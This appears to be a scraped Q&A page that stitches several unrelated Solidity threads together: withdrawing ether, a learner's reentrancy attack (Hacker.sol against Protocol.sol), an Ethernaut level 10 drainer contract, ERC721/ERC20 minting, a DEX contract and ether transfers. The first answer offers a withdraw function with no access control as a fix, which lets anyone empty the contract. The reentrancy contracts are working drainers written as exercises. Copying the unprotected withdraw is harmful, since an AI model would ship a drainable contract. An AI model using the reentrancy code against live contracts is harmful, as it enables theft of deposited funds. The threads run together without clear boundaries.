I used the following code which I thought would be able to withdraw any ether that was deposited to the smart contract. Can you help explain why this might not work?
function withdraw() public {
require(owner == msg.sender);
msg.sender.transfer(address(this).balance);
}
I am having issues withdrawing the ether and was wondering which part of the code is preventing me from doing so.
function withdraw(uint amount) public payable{
require(address(this).balance >= amount);
msg.sender.transfer(amount);
}
use this code
Related
So, I'm learning advanced smart contract development. Two days ago, I learned about Reentrancy attacks and then I also created two contracts Protocol.sol (vulnerable contract) + Hacker.sol (attacker contract) to put my knowledge to the test. I was able to perform everything smoothly, I was importing the Protocol.sol (ABI + address) contract in my Hacker.sol. Today, I learned that we can call another smart contract function without importing the ABI, just using the contract address via ".call" & delegate call.
So, again to put my knowledge to the test, I used Protocol.sol & Hacker.sol.
Protocol.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract Protocol {
mapping(address => uint256) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public payable {
require(balances[msg.sender] > 0, "BRUH");
(bool success, ) = (msg.sender).call{value: 1 ether}("");
require(success);
balances[msg.sender] = 0;
}
function getBalance() public view returns(uint256) {
return address(this).balance;
}
}
Hacker.sol:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;
contract Hacker {
function protocolDeposit(address protocol) public payable {
(bool success,) = protocol.call{value: msg.value}(abi.encodeWithSignature("deposit()"));
require(success, "call failed");
}
function attack(address protocol) public payable {
(bool hacked,) = protocol.call(abi.encodeWithSignature("withdraw()"));
require(hacked, "attack failed");
}
// fallback() external payable {
// (bool hacked,) = protocol.call(abi.encodeWithSignature("withdraw()"));
// require(hacked, "hack failed");
// }
function rektMoney() public view returns(uint256) {
return address(this).balance;
}
}
The problem, I am facing right now is calling withdraw() func. I am able to deposit ETH using Hacker.sol into Protocol.sol but I'm unable to call withdraw() using attack
Maybe it is because the withdraw func in the protocol.sol is also using call to transfer ETH.
How to ".call" a function of another contract which is using ".call" as well?
How I can solve this problem? Pls Help, Thanks in Advance
I need to implement receive or fallback function in order to receive money in the hacker contract.
fallback() external payable {}
Working now Alhumdulilah
While I was doing the level 10 of Ethernaut (Re-entrancy), I got some question about address.call() function.
I notice that if I deposit a small amount of WEI, for example, 100000 WEI, I wouldn't be able to withdraw all the contract's balance. But why so? Is there a limit that the address.call() function on the Reentrance smart contract can be executed?
Another thing that I noticed is that I only needed to check if the Reentrance contract balance wasn't 0 to be able to get all its balance. It started with 3000012015300000 WEI and I was withdrawing 1000000000000000 each time. I thought that because of that I would get only 3000000000000000 and the contract would still have 12015300000 WEI. However, I got its entire balance... So, my question is: if the _amount value is greater than address(this).balance in msg.sender.call{value: _amount}(""), Solidity will send all remaining balance of the smart contract?
Here is my code of the smart contract that succeeded on this level:
interface IReentrance {
function donate(address _to) external payable;
function balanceOf(address _who) external view returns (uint balance);
function withdraw(uint _amount) external;
}
contract Reentrancy {
IReentrance public contractToAttack;
address public owner;
uint public amount;
constructor(address _contract_address) public {
contractToAttack = IReentrance(_contract_address);
owner = msg.sender;
}
function donate() public payable {
contractToAttack.donate{value: msg.value}(address(this));
amount = msg.value;
}
function withdraw() public {
require(owner == msg.sender, "Only owner");
msg.sender.transfer(address(this).balance);
}
function getBalance() external view returns(uint) {
return address(this).balance;
}
receive() external payable {
if (address(contractToAttack).balance != 0){
contractToAttack.withdraw(amount);
}
}
}
Link to Ethernaut level 10 smart contract here.
hope all is well.
I have erc721 contract from openzeppelin
#openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
Where I today let users mint with ether:
function mint(address _to, uint256 _mintAmount) public payable {
uint256 supply = totalSupply();
require(!paused);
require(_mintAmount > 0);
require(_mintAmount <= maxMintAmount);
if (msg.sender != owner()) {
if(whitelisted[msg.sender] != true) {
require(msg.value >= cost * _mintAmount);
}
}
for (uint256 i = 1; i <= _mintAmount; i++) {
_safeMint(_to, supply + i);
}
}
Ive been trying to figure out how to switch the ether into my own erc20 token for days now and have been googling around but cannot find anything. If someone has any ideas they can share or links to point me into right direction that would be much appreciated!
thanks in advance
For doing this you should implement ERC20 into your ERC721 contract.
I would suggest first importing the ERC20 file from openzeppelin, and then creating an ERC20 variable which will be a pointer to your existing ERC20 token. Something like this:
ERC20 token = ERC20('address to your desired ERC20 Token');
Then you will be able to interact with the ERC20 token balance of the msg.sender using the 'balanceOf', 'approve', and 'transferFrom' functions.
Hope you find this information useful :)
I have the following smart contract:
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./MyCoinSupply.sol";
contract MyCoinDEX
{
IERC20 public token;
event Bought(uint256 amount);
event Sold(uint256 amount);
constructor() public
{
token = new MyCoinSupply();
}
function getSenderAddress() public view returns (address) // for debugging purposes
{
return (msg.sender);
}
function getAddress() public view returns (address)
{
return address(this);
}
function getTokenAddress() public view returns (address)
{
return address(token);
}
function buy() payable public // send ether and get tokens in exchange; 1 token == 1 ether
{
uint256 amountTobuy = msg.value;
uint256 dexBalance = token.balanceOf(address(this));
require(amountTobuy > 0, "You need to send some ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
token.transfer(msg.sender, amountTobuy);
emit Bought(amountTobuy);
}
function sell(uint256 amount) public // send tokens to get ether back
{
require(amount > 0, "You need to sell at least some tokens");
uint256 allowance = token.allowance(msg.sender, address(this));
require(allowance >= amount, "Check the token allowance");
token.transferFrom(msg.sender, address(this), amount);
// https://stackoverflow.com/questions/67341914/error-send-and-transfer-are-only-available-for-objects-of-type-address-payable
payable(msg.sender).transfer(amount);
emit Sold(amount);
}
}
if I call the buy() method from truffle console, it executes without any exceptions:
truffle(development)> MyCoinDEX.buy({value: 1})
I verified that the account calling the buy() method receives the token. However, the balance of Ether in Ganache for the account calling the buy() method doesn't decrease. So essentially, the account is getting tokens for free.
What's going on here? How do I fix it?
I am not sure but it would be necessary to investigate about the balance of the contract account. The gas for token.transfer might be paid by the contract account balance, since the contract account is the transaction sender for token contract.
Or the balance decrement would be unnoticeable because it is too small.
I would be happy to know about the answer if you have found out.
How can I send tokens to a token holders from inside a smart contract with solidity?
It means how can send reward to token holders?
Have a list of addresses and loop through them while calling native erc transfer method. You can't really iterate through a mapping without knowing the access keys (if you're thinking about pulling addresses from smth like balances).
I am assuming you want to send Ether to another Smart Contract or an EOA (e.g. Metamask). You can write a Smart Contract such as the below and use the Remix Ethereum (an IDE) to send Ether to an external party. Use the public function - transferEther.
//SPDX-License-Identifier: GPL-3.0
pragma solidity >= 0.6.0 < 0.9.0;
contract Sample{
address public owner;
constructor() {
owner = msg.sender;
}
receive() external payable {
}
fallback() external payable {
}
function getBalance() public view returns (uint){
return address(this).balance;
}
// this function is for sending the wei/ether OUT from this smart contract (address) to another contract/external account.
function transferEther(address payable recipient, uint amount) public returns(bool){
require(owner == msg.sender, "transfer failed because you are not the owner."); //
if (amount <= getBalance()) {
recipient.transfer(amount);
return true;
} else {
return false;
}
}
}